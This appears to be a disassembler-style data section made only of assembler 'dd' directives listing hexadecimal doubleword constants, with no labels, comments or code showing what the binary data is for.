dd 38E0EE4h, 2F98C91Ch, 2C96AFAEh, 5945B900h, 0B804793h
dd 46619A63h, 9DE1950Fh, 0D8FE02C8h, 0B0EEEED5h, 5D075C00h
dd 31F0E1DCh, 36590078h, 0E333D1D8h, 1100A83Fh, 0C5E0F6D2h
dd 0A0C61D81h, 259B384h, 44ECF80Dh, 0FC41AC9Ah, 0EE3ED862h
dd 10AAC630h, 13F0E8F2h, 0C792165h, 1219EA0Bh, 19FFB307h
dd 100A1CEh, 2E9BC20h, 8A994535h, 0D448BFA9h, 0B00F8854h
dd 0E0C647CAh, 1DD79190h, 0FE0C2616h, 395F80D8h, 0B2587C1Eh
dd 665BEB1Fh, 0B2F6184Ah, 60174400h, 1B8E2A3h, 86D392C2h
dd 0ED0CE520h, 1E033096h, 588148h, 0AF6DD8Eh, 12D1C1h
dd 7E0DBFD7h, 0B9A9ADAFh, 73DFF300h, 0B688BB86h, 406C073Ch
dd 0F05D32E4h, 0C0074F03h, 76025200h, 931AA048h, 0D4C300ECh
dd 0CEBA9BADh, 3800CF26h, 1E8E81DEh, 0BFF64Dh, 3D88BCAFh
dd 0B6A0D9A5h, 0DA34AE00h, 0D45E08ACh, 0E84500B0h, 6F6B7977h
dd 0FC17B6DEh, 0F203BF73h, 82701EA6h, 0E05867h, 36F3A63h
dd 9606F2A3h, 0A4FBCC00h, 0B32B52A9h, 0C290AFh, 989E9C61h
dd 2D3415A3h, 690004F4h, 0A02F6295h, 5A9A7D2h, 4373FAD3h
dd 77668309h, 97CDFED0h, 9CA3E902h, 0E0D426D8h, 875285h
dd 5C296BFBh, 0D59F4858h, 0C7F29376h, 0B6AF3E00h, 0ACA19013h
dd 7098982Bh, 0A6990024h, 495CCDB2h, 0F8263936h, 0D0061D0h
dd 8F73F7CFh, 4EC03DDh, 0D70352B6h, 5CA2C6A8h, 0BB9D9200h
dd 0BF1E3F12h, 16A70034h, 2ED74BC3h, 9307575Fh, 1151EEE1h
dd 1CE20FB0h, 5A7A1CFBh, 3FEB000Dh, 0C9FDF0Bh, 1BE4A2Dh
dd 8D05820Ch, 37C0C4h, 60B07B68h, 59E16C4Bh, 0AC673A00h
dd 0CF1B866Fh, 8DC0089h, 75A7349h, 0EC00914Bh, 0F39DF838h
dd 3893E843h, 0C10028FCh, 0F7D41A4Ch, 523F39F2h, 8D0B8F75h
dd 3B8EE082h, 0B8B947h, 13E29D29h, 0C30FD1D7h, 96EFC81Fh
dd 0C64C4907h, 803CBFDEh, 0B130680Dh, 94974A38h, 37BCC0ECh
dd 640F7B28h, 386DE5Bh, 17AE0D0h, 93833610h, 0D09023F9h
dd 5D00B8A4h, 0F7C2B02Fh, 0B613D2h, 691A7F6h, 36EB1150h
dd 7423020Fh, 0FAD428h, 0E9DB531Fh, 18DCFC8h, 681BE599h
dd 0D028B5D8h, 944AA27Eh, 5180BC1Eh, 9A02C0EEh, 86C504B9h
dd 0A476438Ch, 780467CCh, 28FDEFD8h, 0F6BBDCA4h, 0E6D0FDA8h
dd 0A9980033h, 0EBD141F5h, 0DA005F08h, 578688C7h, 0A331FCh
dd 2E35D25Eh, 7CD5162Bh, 0EF966F07h, 0E1505C2Ch, 3D93BB38h
dd 71004151h, 6470A1A4h, 0FE004669h, 0CD9DDD66h, 138346Ah
dd 96E5BCFDh, 0E81DD92Bh, 41F72DA4h, 6034B0B9h, 44F18198h
dd 0FF6DC1DEh, 1E946440h, 0D2127307h, 0D360D51Ch, 3DCEEEh
dd 1F384DD7h, 1D2E57D6h, 4358A803h, 55A91Eh, 0F9A29E10h
dd 6FD538EAh, 0F5A5B009h, 42B8C871h, 0FE197A06h, 911400DCh
dd 0FE5DCBA3h, 9A002089h, 6FAED811h, 439E60h, 5C8F2722h
dd 0B25E57AAh, 0FDFC60EBh, 81006492h, 0B99499Ah, 4CFBDFF1h
dd 0BC00A892h, 42641327h, 2400A908h, 4D0AF70h, 134F2E7h
dd 92D455D3h, 8091BE36h, 0A0FFDD51h, 9A8241h, 0B875BD6Ch
dd 0F744E46Bh, 0D71B1900h, 10568A83h, 0C8FA0036h, 1224FE8h
dd 9D01E48Ch, 512C07F9h, 0D6DC78F6h, 0A87A3AC1h, 6957007Fh
dd 0A909B455h, 8E00E42Eh, 3826B71Ah, 9ABE2359h, 0B6F475ECh
dd 0E87605A0h, 272880A0h, 0C5043A5Bh, 0D63B5042h, 0EAFED80h
dd 35F0009Fh, 28DC6B2Dh, 4F00A947h, 0CEABFF41h, 4525427h
dd 0C845FF4h, 803890B6h, 0C5007ADEh, 0C09BC6FBh, 0E71DD23h
dd 2B3CB4CAh, 0C25AAFC0h, 59006C91h, 63B05CFBh, 0E68FCF1Ah
dd 5CC00F2h, 0FEAEB261h, 0DF030ECBh, 39FAD744h, 3EDF011h
dd 377A3Dh, 512BDCA4h, 73A8CD95h, 422AC100h, 0B884D4E2h
dd 44BA1F32h, 0FEB1C15Bh, 4068FA14h, 0C74028BCh, 6C669803h
dd 0F8A41B0Ah, 27BC71D3h, 0E4877E07h, 0D19490F4h, 6D004780h
dd 0E4DF23B3h, 783725h, 0C017C96h, 0DEAFA904h, 0B9ECA8E6h
dd 9A5810Eh, 0FDC980BCh, 3CEC90h, 0CD55F1FBh, 0C30F2B0h
dd 68D1FC00h, 18E40DBBh, 0D7F512E1h, 1BBA04AEh, 0C8993A6h
dd 111B0A8h, 1C5DFC09h, 0BCEC24C3h, 0D00090A2h, 1D66228Bh
dd 9C13F255h, 0BAE31EFh, 84C0F3D1h, 0AEF25A57h, 0B5914401h
dd 0D4874EEBh, 0B80DC62h, 26B5C307h, 0ED3AD501h, 0C299312Bh
dd 2926074h, 3C5A9CEBh, 8CA1DCE2h, 0C4BA8ACAh, 4700891Bh
dd 19A03DB4h, 48C5A76Ch, 3E007940h, 0BEE15574h, 7E009764h
dd 778783E0h, 88932h, 22A56DE3h, 0FAA903E7h, 0C3449707h
dd 28001319h, 17A77Dh, 3EBB8107h, 9BF15DFBh, 0C81549Eh
dd 9A76DAF3h, 0BE3FC30h, 10D4F0DEh, 0C5CCB280h, 50B0437Fh
dd 70064B6h, 0E7050EBBh, 58F0C04Ah, 0D4459730h, 304EBF3Ah
dd 0F01819A9h, 338600FFh, 9C47C4ABh, 2400448Ch, 1A4B8431h
dd 0E2F809A8h, 92EF007Dh, 973215EDh, 36001EE2h, 71D7C51Fh
dd 0ABB403h, 145095C3h, 6C92933Eh, 0FB624A00h, 0C60E7DFFh
dd 20610F66h, 456069C5h, 0E7D196F6h, 9B5A100h, 0AC77B20Ch
dd 618E0088h, 0C833B882h, 470703A8h, 2F025B8Fh, 0C5FF2B90h
dd 807721h, 8EBD6124h, 0A3AAB864h, 9C07D24Ah, 88606353h
dd 34CDC06h, 72DD683Fh, 34E01C2Dh, 0DE074D76h, 150499Eh
dd 0E051AC33h, 73F74E72h, 0F0B03A5Fh, 4017B69Dh, 1EE3AA1Ah
dd 0FB0048F4h, 7B44E5D9h, 7A316BB2h, 0E46A00C4h, 0D6D1CCC1h
dd 4D003A2Eh, 0FF39F192h, 0FE41AEh, 0B51D6F25h, 0FB609598h
dd 50E0C701h, 0CEC271C1h, 1CB1CC8h, 0E40B726Bh, 2C549113h
dd 0C8FE0088h, 48FC6076h, 6A561C81h, 0CF9880BEh, 0B084DAF6h
dd 4A7D0892h, 63BF2D02h, 400BE667h, 7052C8h, 0CB6F533Eh
dd 8DB0F9DAh, 5900649Eh, 0E027915Eh, 0D60800B8h, 6F79102Bh
dd 0B704C9EDh, 4EC8B51Eh, 709810C0h, 7ABFEF1h, 0D61C5B88h
dd 0D0C2A48Bh, 0D262739Ch, 4476A1E4h, 0BC4B6300h, 1EF7503Eh
dd 95140328h, 4A6FCD7Eh, 408770D0h, 0DFA3510Ch, 24811142h
dd 0C3E6Bh, 8FDEAD22h, 0C1000557h, 0D6F6489Dh, 7A5184h
dd 0DC87FEC4h, 0E30F49Fh, 8AA48500h, 0DBB66BB3h, 3150219h
dd 6563B553h, 4AB2FD80h, 0F00B78Bh, 0A39BCFF9h, 2DAB1h
dd 19FAEB76h, 3DE3DC80h, 4652680Fh, 0CCB680D4h, 5E38E4h
dd 6F8073A1h, 0E2660D77h, 5203847Ah, 8BDE6D78h, 0E767BBDBh
dd 974D46D0h, 2AB100B5h, 0BEC305D5h, 0A1005969h, 0E2BB08DAh
dd 1C797A38h, 2F40A8Dh, 0B9E525BCh, 0B984C58h, 0E6002CB0h
dd 1828E453h, 9B1AAFh, 22C6BD84h, 0CA7265B1h, 349D5600h
dd 498379C9h, 52573D7Ch, 4CBCE580h, 47EA1A61h, 8BAD761Dh
dd 0F68E22C0h, 0E8E48Fh, 0C617DED3h, 7D869EBCh, 0F7CAA11Dh
dd 0EE00106Eh, 48D8088Ah
dd 8FF4009Ch, 75C73FB0h, 913A096Ch, 0A7378049h, 404F9486h
dd 0A9CE0052h, 15CB56DEh, 8F01BFAFh, 1DF42C6Eh, 0F4383CC7h
dd 0A4CE7801h, 340C5C85h, 909EFA8h, 45BF0AFCh, 50C9786Ch
dd 640037B0h, 8868BEC8h, 0EB83362Dh, 8F64079h, 5E67F23Dh
dd 10AA700Ch, 407E0136h, 0C2C88C69h, 76508BB8h, 2E5A0268h
dd 64527Bh, 2041C4DBh, 15E8D878h, 25B9442Fh, 0C8E43484h
dd 0D868121Fh, 0E75480ECh, 353D4515h, 5EFDC475h, 0DE2C2025h
dd 0BB1F9086h, 17BAADABh, 0FE0114F2h, 81E824B9h, 0F74F9881h
dd 0D0B55B0Eh, 0E900BA46h, 0B2DCF3E5h, 1DCA50A3h, 0C08469C7h
dd 9BB54995h, 613E7890h, 88F280C1h, 0C765D99h, 0DD19009Ch
dd 11498DA3h, 0D702AF1Fh, 0D9905F4Bh, 866460DFh, 9E46006Eh
dd 0D4F91D9Fh, 4E0FD2B5h, 0FE24A4h, 6ACE97B6h, 0BA47006Bh
dd 0DA7F4D58h, 6567B223h, 5E0051D8h, 1CA14FB6h, 752BBE3h
dd 30578D06h, 0D05D8708h, 4384CD00h, 0AA660411h, 174E8FDh
dd 7FB703B0h, 80C3CEB9h, 99FCD7AAh, 12852FAh, 0A8A0A9A5h
dd 93B5879Ah, 5C008112h, 50081E98h, 80464C8Bh, 94558E00h
dd 0A67EB4DFh, 198D5D0Eh, 804549E0h, 0B75E900h, 66AF00EAh
dd 7CBCF2A4h, 0A9009CBAh, 149E44A2h, 0E0E4984Ah, 0F74000FFh
dd 99011909h, 0EA0046E9h, 0BCC314D3h, 0DAC796h, 527D552h
dd 31FDFBFEh, 2810E41Eh, 2494B40h, 0B8D063CBh, 73DD7E8Ah
dd 471E002Ch, 0E6EC717Ah, 610797DEh, 52EF8976h, 0F02A3DA3h
dd 4A1FC8F3h, 0E95CC10Eh, 0C49C21FCh, 8401095Ah, 31296AA0h
dd 14385F55h, 32913603h, 0D580CE13h, 0AF0B94EEh, 0EFAD271h
dd 0A73F6064h, 20334ABh, 0BDA61A44h, 2CE0CDAFh, 0F9012B6Fh
dd 162D9240h, 0F8202032h, 216E3A7Eh, 8882D981h, 795A593Dh
dd 0C63B1D18h, 6BBC923Ah, 0E9CFE840h, 35EBAEh, 460C21B3h
dd 5CB773C2h, 0BEA69903h, 0B0188574h, 3CEB1F05h, 75014510h
dd 7E31AD1Ah, 36D2C038h, 8825E607h, 809EFD3Fh, 8D9E0D63h
dd 0E06F00EEh, 0C22096B2h, 79772E39h, 71695E00h, 3FE69AD6h
dd 35BC000Fh, 1336EFA8h, 641D1FE0h, 6F93D3FDh, 8544AA00h
dd 7F95C30h, 0F7332492h, 0E8674FA5h, 0C92D6195h, 0A427F094h
dd 5B144200h, 2A2E4DD4h, 74598BFh, 25C27B61h, 206BB034h
dd 1A0FF691h, 0E02E3AC8h, 7B310540h, 0E01F0F4Ch, 0D50385EBh
dd 99C846F5h, 8E98B321h, 34039007h, 0E02FB113h, 0D2AF32ABh
dd 28597F37h, 2AC7AF1h, 0C0CF4DD8h, 7140098Dh, 1C7271C3h
dd 34EFFB25h, 83FC1568h, 1200C4C3h, 17E99DC7h, 0DB01468Dh
dd 4A8E49E8h, 58D119A1h, 9F07B069h, 0C072E08Ah, 0CE312BEEh
dd 2F249249h, 42CC1095h, 94230106h, 1D50A232h, 0FCFAE0FBh
dd 9381B709h, 0B5C6818h, 5381C0E7h, 0A96ED1D6h, 9BAFD004h
dd 9EC07831h, 98D38F22h, 690F0926h, 0A4405F51h, 981EB8Ah
dd 0DE812FEBh, 7F00003Ch, 4576B684h, 0F6C994Eh, 0E992AD86h
dd 0E5277AA0h, 0B00252D8h, 0F74D6688h, 0A858A7h, 0D7FAC67Dh
dd 0E145C30Fh, 5206EA01h, 0D9C15938h, 761B72E8h, 9B7D00ABh
dd 8F512C0Bh, 0CE1D4060h, 5C005F6Ch, 8B385AA6h, 68670016h
dd 90258F10h, 0A40012CBh, 5BA5468Eh, 2C24A27h, 45B83626h
dd 1B61496Dh, 7230C02Dh, 3F033507h, 78003A65h, 33B4AF0h
dd 998A2FE6h, 12A07B2Ch, 0BB309AD3h, 98A86065h, 0EF8E00F5h
dd 11326F6h, 9CEA3AC7h, 0CB003574h, 4CA1D728h, 0F5FF83h
dd 0C8A688ACh, 2CD8241h, 2F291A02h, 80C363B1h, 0ECB2CAACh
dd 0B6E1005Bh, 5DE548D5h, 6F2C0741h, 880078CEh, 47DBFAEAh
dd 189925C8h, 1C63B8E8h, 0A3111403h, 0E038E8CEh, 0B8745DE0h
dd 840800DCh, 9DAAD479h, 0D71D51A3h, 864F9C39h, 342A00F6h
dd 1E5890F3h, 7A64D0Dh, 0FFCEC442h, 0C90CF720h, 3A61E902h
dd 0B61FABA8h, 0D507F801h, 23A1DB1Dh, 0A4EC307Ch, 2D802A00h
dd 0D59974E9h, 0FCB200D0h, 284F772Eh, 435BB6BEh, 0A052E800h
dd 74A9D0F5h, 445930FBh, 2FE30218h, 4B97025h, 0FCA4514Ch
dd 9F1100A7h, 0DCDED974h, 14186C39h, 0ECF0268Ch, 0F1BD0B67h
dd 14017DBEh, 2F6936E5h, 3F03921Dh, 0C83BBCAAh, 7BA9ACE1h
dd 888300D9h, 0C6768CDh, 531D3924h, 90934FF2h, 4564A4h
dd 74A9714Bh, 0B7D1D4EDh, 5823AB00h, 4A19859Eh, 76020195h
dd 342D0887h, 621030F8h, 0BF2F0B00h, 6718E8D9h, 0E0CE0015h
dd 31B54A79h, 237E0EC7h, 83C3051Eh, 70D19D40h, 77CF8Dh
dd 5B7360AFh, 0C5B6A738h, 892D553Ch, 6868E6CEh, 740577Ch
dd 31D0E2ACh, 0A9A39016h, 721F6198h, 599EF0E8h, 8B182700h
dd 97FA14FDh, 0D0CF90C3h, 1AA144C7h, 26599300h, 0A7E9E24Dh
dd 8AB50EFCh, 0F380D022h, 9385133Dh, 97DA1B00h, 3195563Eh
dd 0ACE80008h, 1EF4F8A6h, 0F900AEA4h, 0E37C7115h, 5B6BFBh
dd 225C666Dh, 8EBCCAC6h, 8D87E400h, 0D5CC3DDFh, 0E96E010Eh
dd 0B2FAFCF4h, 0D1BFEC0Fh, 7031600h, 33D414B8h, 0FBAD00E8h
dd 0F69CE92Bh, 0EAFAFF3Ah, 6030170Fh, 0AC76E00Ch, 0FB394CFh
dd 51E6C60Fh, 7A011A00h, 6D001498h, 0C1910A04h, 0E8E05E47h
dd 66683C2Dh, 468C3907h, 7A9A800Dh, 7B2C2443h, 44808C3Bh
dd 1371B0CFh, 30F7A49h, 0C742EA3Eh, 0C6D0E530h, 2F03E8DAh
dd 0E102E0A2h, 3304E868h, 32F90066h, 8DFE3651h, 0E7012D6Ah
dd 0A2318122h, 8C307180h, 0D8500215h, 0EFD149C3h, 0BA023052h
dd 2E516581h, 0BB324087h, 0C0F0EFF7h, 75887898h, 3C28DE38h
dd 0A1C400F8h, 0E2B083A4h, 111D65C2h, 0D7094D93h, 0C4EF00FEh
dd 7FC25E8h, 334915C7h, 1970009Dh, 0B010935h, 0E2A5098h
dd 0EFE41D1Ch, 0C3FC84h, 0BB1E1213h, 0D65B6580h, 0BACF8600h
dd 7E8D66D5h, 3BFE98B9h, 0BC008773h, 0C192F58Ah, 0C1C041FCh
dd 0A5D27538h, 3EEF09C8h, 0BC79F16Bh, 0B60CE3E4h, 0E3AA0D8h
dd 81963CB7h, 0FBB6828h, 0D3D039A6h, 9E48026Ch, 703E2462h
dd 82809451h, 0B3ADBBA1h, 0BD73001Dh, 0E368EED6h, 8607E27Dh
dd 0D43D19F5h, 0AB30A9C0h, 2571DBh, 0E9CDB675h, 0B5E20212h
dd 229C4500h, 969AB38Ch, 0E02830ABh, 8D35BCAh, 710D3Ch
dd 4E1F7548h, 70ACEA6h, 0B76DB0FFh, 0D5BD20F6h, 1D1E58C6h
dd 0CC09CEDh, 0A945C863h, 659B00AEh, 13D0330Fh, 0E80024BBh
dd 0AD4F5030h, 15DBAC2h, 2CAC63B5h, 0F051DDAFh, 0D2025EA9h
dd 0ADBF7CA2h, 0D940483Ah, 970F03CBh, 0B888D0C0h, 858A88Bh
dd 0FA20624Fh, 0A74C40D3h, 0DF4000E8h, 0D8191FC0h, 0C6006941h
dd 33F00734h, 58FB513h, 9336D154h, 48C0028Ch, 3076C464h
dd 0EDC0A247h, 19A815F1h, 90234D9h, 0C2218584h, 91C0ED94h
dd 0F0B88CA3h, 0E921FECh, 97803E71h, 54550324h, 3400A1E6h
dd 0F59ADE2Fh, 13E8EABh, 65E781DBh, 8269375Dh, 86C18251h
dd 258C3B5h, 61E7D098h, 0E560BDB1h, 21373A19h, 39C13071h
dd 1984C1D5h, 5C991Ah, 72E4B5CAh, 8451C050h, 0E9CF7A9Fh
dd 66D6320Eh, 0A08FAD1h, 803C4B10h, 173502B8h, 740BEDh
dd 0B5C7F5D4h, 0D0C91A0Eh, 0F6E79CA0h, 767A2200h, 0A4640560h
dd 24174C59h, 72700075h, 62E43FB6h, 0B003E4Ch, 29C07B65h
dd 9AC4DF2h, 0E956FD40h, 8881F001h, 0E4F03114h, 6900EE0Ah
dd 0BC212584h, 1203BD2h, 1719CCBEh, 0C4085FC3h, 1F007CC4h
dd 0E5433524h, 0FB228AAh, 2F2CC859h, 0B9520F60h, 0CA0071C0h
dd 769D6FBFh, 28E583h
dd 1ACE0517h, 0B1B7E442h, 0BAF3C538h, 0FFD50FB9h, 0F673250Ch
dd 45DC0280h, 0E28C01Dh, 5C8ACF3Bh, 9199F31Eh, 0AB6E2CC0h
dd 730554Ch, 60FCBDF7h, 66EC40ACh, 26F043B1h, 0B9154500h
dd 0A8738B97h, 2C3E0E96h, 2D8004C4h, 0D86709ADh, 9D3CF700h
dd 64E69955h, 123FAFDh, 265703F2h, 0C0D9FBF1h, 4E1C1D71h
dd 0BF40D1AAh, 0A0244675h, 1C1B002Bh, 2F60A78Eh, 0C000FF7Eh
dd 5E3F6FD4h, 0F3F607h, 0D3CCAD5Bh, 0CDC2B2CBh, 4B568D0Eh
dd 813CA108h, 0C0C2C796h, 2FC48Ch, 3FC04F63h, 0A8147FF0h
dd 0EB60E603h, 0B070F1h, 565D9878h, 39F51509h, 898E4304h
dd 6AF0AD10h, 7B700E20h, 0CC8B33E5h, 72FAA400h, 0B900D1D0h
dd 0BEF72B1Eh, 0F4FFEE15h, 1D84016Ch, 0EFB36EC4h, 281CDF7Dh
dd 0D8C00636h, 5CA08198h, 929C18ADh, 0D329581Eh, 46006074h
dd 0ED7A545Eh, 3A805975h, 0BB0048F7h, 631DC04Dh, 5300F35Ah
dd 8262C29Fh, 78AF6DB4h, 0C3E833h, 3E176F30h, 38B05902h
dd 0BB6EE000h, 0A606BCECh, 59A0BB1h, 2600E551h, 9743B735h
dd 0BEE7A20Eh, 0D5FD858Ch, 0F841D300h, 3FDF80h, 1B965EE9h
dd 7718C30Dh, 14A048h, 250B382Bh, 24DDF8h, 0B78D9ACEh
dd 0DF629607h, 6F924C03h, 0C0935552h, 13E1D2h, 3B0AE6F9h
dd 0C8A8121Ah, 0B53DCE01h, 2BF10936h, 2F47AC40h, 0B7EA0717h
dd 0B01810DBh, 0E21C8F89h, 210B5700h, 608113A1h, 5D1B077Eh
dd 9089C745h, 44EE3A1Fh, 0CB004EF2h, 160D74ACh, 0FC50DE8Bh
dd 2B59073Bh, 21D177ADh, 0ECCA4F9Ch, 0C37775A0h, 91623818h
dd 70E1DD0h, 2783B5C6h, 6B39700Fh, 4E5051E2h, 64EC41D0h
dd 1F60E480h, 0CE477Ch, 274DF473h, 490E10EEh, 8096A24Bh
dd 0AB2EB82Ch, 625B001Fh, 7DFB4D47h, 0C003BEE9h, 6643399h
dd 0D4CB88AFh, 9F2E305Fh, 0F2A83580h, 0A4E7EF01h, 6D99F50Dh
dd 0B6207080h, 319A9397h, 0BDE85AE2h, 9B2ED0FCh, 9F012584h
dd 5014CE88h, 1079E8h, 9F88F52h, 36DF1B8Eh, 9D9AE61Ch
dd 16AC041h, 248011E5h, 418AF0C6h, 0B60097AEh, 5D5738A3h
dd 0BB227h, 436FE058h, 82CB62DDh, 0DF24962Eh, 0D2086300h
dd 5ABD56h, 5D7A55E5h, 5049329Dh, 0B658B500h, 18238333h
dd 166C1D34h, 7103008Eh, 17A5B112h, 0FE3D1D00h, 91AD429Dh
dd 62CB0745h, 0C30DFA87h, 0B19021B9h, 0F00018D9h, 10450F3Eh
dd 0BA92D8h, 9E116C42h, 2139A84Fh, 0E0350C00h, 44CB0872h
dd 6F013F4Ah, 5A3E8180h, 0FE2F4CA1h, 0BA4783Bh, 7916138h
dd 93A00D04h, 0C95EB4h, 4367D83Ch, 2495D3FFh, 22401300h
dd 1DB46959h, 0FE7F00C7h, 0CE9771C4h, 6C243D5Dh, 0E88350BBh
dd 0A8F88A59h, 0A066F7FBh, 0A28A0h, 0CA687FD0h, 0BF9BAC62h
dd 96069700h, 94CCB090h, 84DF009Dh, 0BB3958Ah, 0A21E9341h
dd 6A401DEEh, 11B8F932h, 3AD98C6h, 7A459C9Dh, 12F0F81Fh
dd 5D3FAEAFh, 0DCB8E03Ah, 898738h, 0A19B4E6Ch, 0EB959ED4h
dd 0F8004C92h, 21D59F76h, 0F4F01B2Fh, 723F0398h, 8AACD21Ah
dd 9BA4EEC8h, 3235A824h, 51D1BC00h, 4C6AFD38h, 7E014C4Bh
dd 0C5251C61h, 5DB8EC17h, 62F90600h, 8BDB0811h, 57C209BFh
dd 5800C04Ch, 0E315310Ch, 10C1C730h, 2268BBB9h, 1000ECD4h
dd 4719344Dh, 0ABFE8Dh, 622CCAB5h, 0F0C00189h, 5FCE88C0h
dd 4D79D85Ah, 0A90080D4h, 96F9EF11h, 583032CBh, 2BAE289Ah
dd 0FEFA75h, 2D5237E3h, 919060Bh, 8005D1B8h, 3C7CF61h
dd 0C3E91C41h, 85608B2Fh, 0D8F001BDh, 5292A90Bh, 1DDCDC10h
dd 0BE84CD0Ch, 3CE0A2Dh, 26EDA34h, 12A82CC0h, 310158BAh
dd 2A89EF17h, 50808F9Fh, 7D25999Ah, 10008633h, 0BC582D1Ch
dd 0B4C57Bh, 77B14F55h, 0E9610208h, 0BEA2F21Eh, 0D5BD98C0h
dd 0F7138E0h, 0C0E5790Ah, 4173CD40h, 480099D6h, 5E0DC7F3h
dd 4D854Ch, 2C0C3D3Ah, 0ACB0537Ah, 3B6BB700h, 79EDE188h
dd 6292006Fh, 0C72E1275h, 0DE0FF6B6h, 0E09D77C6h, 0C9781763h
dd 90D8A18Ch, 0FA4D4ACCh, 0EC43008Bh, 2C66F5CAh, 0FA095AC9h
dd 820FBBBFh, 0E0068810h, 0E8C4Eh, 19592538h, 0D1CA1F67h
dd 0D50C6D17h, 14213F05h, 5A2968C0h, 0E0FB3B2Ch, 0DA581180h
dd 0FFDD6847h, 0D9693300h, 980E432h, 0A4D14842h, 51D03E00h
dd 500391F9h, 0F18C2300h, 0F01E1D55h, 0DC130027h, 59443AA1h
dd 0A8C73389h, 8C3032E4h, 0A5A3FAh, 0A1818339h, 0B094C6Fh
dd 999EB500h, 0B0343AADh, 0B803FE74h, 85250FB0h, 0CFE0BF22h
dd 0C265BEFh, 7933B1C2h, 0E5A4607Ch, 487021Fh, 0D086A7F0h
dd 8F0014BEh, 65A6FA85h, 7D8801h, 0EA33F247h, 0F7792A6Fh
dd 9F859004h, 10D11FB2h, 28406EF4h, 14BF5287h, 10590BABh
dd 3B13E904h, 0BF5A4025h, 0DF58373h, 0FA02F3D9h, 0B4C1850h
dd 0AF7E0085h, 0DFE80186h, 48275Dh, 7C5F9992h, 1FF48AC4h
dd 40586FBFh, 720654ACh, 7F3FC638h, 24C3003Dh, 41C56DEFh
dd 84D4007Ah, 0A6F21843h, 6C480FE2h, 64700009h, 0FAD1E16Eh
dd 0DD0E00A7h, 0CD01AF69h, 0F0002679h, 0FD909D8Dh, 0F378930h
dd 0E7C034EBh, 0B7B5405Dh, 18BB8026h, 0AFC14000h, 873BC9ACh
dd 0E22D00DEh, 3ED5631Ah, 0FD30AE9Bh, 0C32E1038h, 0FCDB03C2h
dd 0CD6BF082h, 95C8C088h, 0C12FE000h, 5CB02EF3h, 98020012h
dd 0C64BD90Bh, 9900CD68h, 0AEB74F1Fh, 508DC4CEh, 0C29871h
dd 8FDE3715h, 93572C12h, 880384B2h, 8C3A3B45h, 9008003Dh
dd 17D940E6h, 0D5004A12h, 5C32086Fh, 193D66h, 0FC248149h
dd 13AD435Ah, 9500AC90h, 0CF2B635Bh, 0EC2C7Fh, 370FD78Eh
dd 247E53F9h, 0DA04BC00h, 80FCA0E9h, 0DC6E07BFh, 0C064BD41h
dd 0CF67C19Ah, 78C29000h, 43B01FFFh, 0C9F40083h, 4A1087D1h
dd 0CB00A148h, 0B68212E1h, 0F6C276Bh, 0FC987803h, 0DF35A9E0h
dd 6300048Ch, 6FB28465h, 0BEEB64h, 86303368h, 39E6517Bh
dd 6E63FD26h, 0B1F79300h, 9C3A1Ah, 0B5116813h, 0B89807B6h
dd 54D58B00h, 0B48D3BECh, 0B8977C27h, 22CF00B5h, 0CC5B1792h
dd 0E9000C6Ch, 91EBB1BCh, 3F71DB3h, 0E2BEB49Dh, 5880168h
dd 0F8009A61h, 6BFC2352h, 60D38019h, 0BAF621B8h, 260021F3h
dd 235774BBh, 0FA33690h, 634CB295h, 66E4562h, 24C5C980h
dd 8200E007h, 0E4900455h, 981AC4h, 73808D6Dh, 4595573Dh
dd 0EE663E1Fh, 0B14E91C4h, 1D21980h, 0C9DD00B8h, 444C6A38h
dd 339E011h, 0D17A80A8h, 1FF78D07h, 0F3340004h, 28C442E6h
dd 2D7C4C3Dh, 39325B00h, 47FA7C76h, 92B892h, 0F5A8271Bh
dd 28318271h, 0D7F70B00h, 571EDC3Ah, 29D001C1h, 30556A6Bh
dd 78FD040h, 1CEF1B00h, 22AB546Ch, 0F9EC9Bh, 31336310h
dd 0FF1B5EEEh, 0F7100860h, 0FE285Dh, 61F2F6AFh, 6ACC2F65h
dd 7A447107h, 1C1090E1h, 36BB93Fh, 0F2DB7030h, 70075F63h
dd 740DBCCEh, 7A8ECh, 0D8B45B23h, 718E40CFh, 2D968101h
dd 91395299h, 80D74881h, 80BF25E5h, 4F01F259h, 14764629h
dd 0C2876C3Ch, 0BF5C0C0Ah, 204880F4h, 6AFCAFECh, 7D7CE300h
dd 0A3998B04h, 0AB9300EAh, 85A9D081h, 7A008EC8h, 4909E24Bh
dd 12AFE894h, 4868FFh, 256FFC24h, 32005D5Bh, 23113171h
dd 12613A79h, 7E11DEDh, 0E0AF5310h, 2262B0B9h, 7AE47000h
dd 2A6D444h, 2C1C3D5Ah, 0C2DC5100h, 0C9C56827h, 0BB0F3476h
dd 81E436C3h, 7DD07E01h, 4EB803D3h, 0BC8C1BE2h, 0D850FEB0h
dd 6679F200h, 97A55B34h
dd 0F3D9C03Eh, 0A6A3E06Dh, 0FFC7FE00h, 863BB106h, 3491009Ah
dd 7F87F545h, 10007AAAh, 0E47DE777h, 0E4363CCh, 4EC78F56h
dd 0BB19AD21h, 236420DFh, 7DE5BF13h, 32B1D007h, 0D40E3CD0h
dd 0C6B0A8Bh, 80AC4DEEh, 0A8ED1DB6h, 0E8051E92h, 1565270Dh
dd 67BDD80h, 0E3940012h, 469FDF8Eh, 6000CEE2h, 2D4FA83Dh
dd 0FE95EBh, 140E9D24h, 71519FF6h, 0B44A4000h, 0B0BE960Fh
dd 13F0D619h, 67540038h, 261B33F0h, 8064173Ch, 7BF76978h
dd 83EBC8h, 8B50BB24h, 0CC9FE135h, 0D625C000h, 32FE59F7h
dd 3BA30004h, 0FB80AD2h, 873D833Fh, 1B7900E6h, 127EA696h
dd 296E1E73h, 1F930063h, 85883C60h, 81621C0Ch, 0B4F04Eh
dd 1E693240h, 284386FBh, 0BE009874h, 0B9E4D91Ah, 0A10F26h
dd 0A225FC5Ch, 9D132911h, 33186800h, 61C7B081h, 0B8FA1E97h
dd 5B0E0095h, 4D1CD83Eh, 0E8EA3B1Dh, 0F249E3DDh, 976280DCh
dd 19964Ah, 0A90B2F7h, 4EE9F56Bh, 0CB6C103h, 0D0D42033h
dd 0E6667DECh, 0CA3FEA4h, 0B1D1216Eh, 400063B1h, 36EEA62Fh
dd 0B0C74Bh, 0DF32A130h, 4CB1BE6Ah, 0D4B9DE00h, 650127B6h
dd 6BFD00CDh, 9A43F477h, 0C0A2F72Bh, 0DC187A80h, 63013BA0h
dd 9742CA39h, 0CDDC7053h, 46D200D5h, 67FACB8Ch, 0A67F4101h
dd 33F694F8h, 43F3A31Dh, 0A0005052h, 0D8356C18h, 750C1BC5h
dd 56D830F9h, 41F6E8F0h, 7D776406h, 3C0939Fh, 24C9EED1h
dd 88001815h, 2ADA5D44h, 1F1F92ECh, 0FBEA25h, 0E0FA23E4h
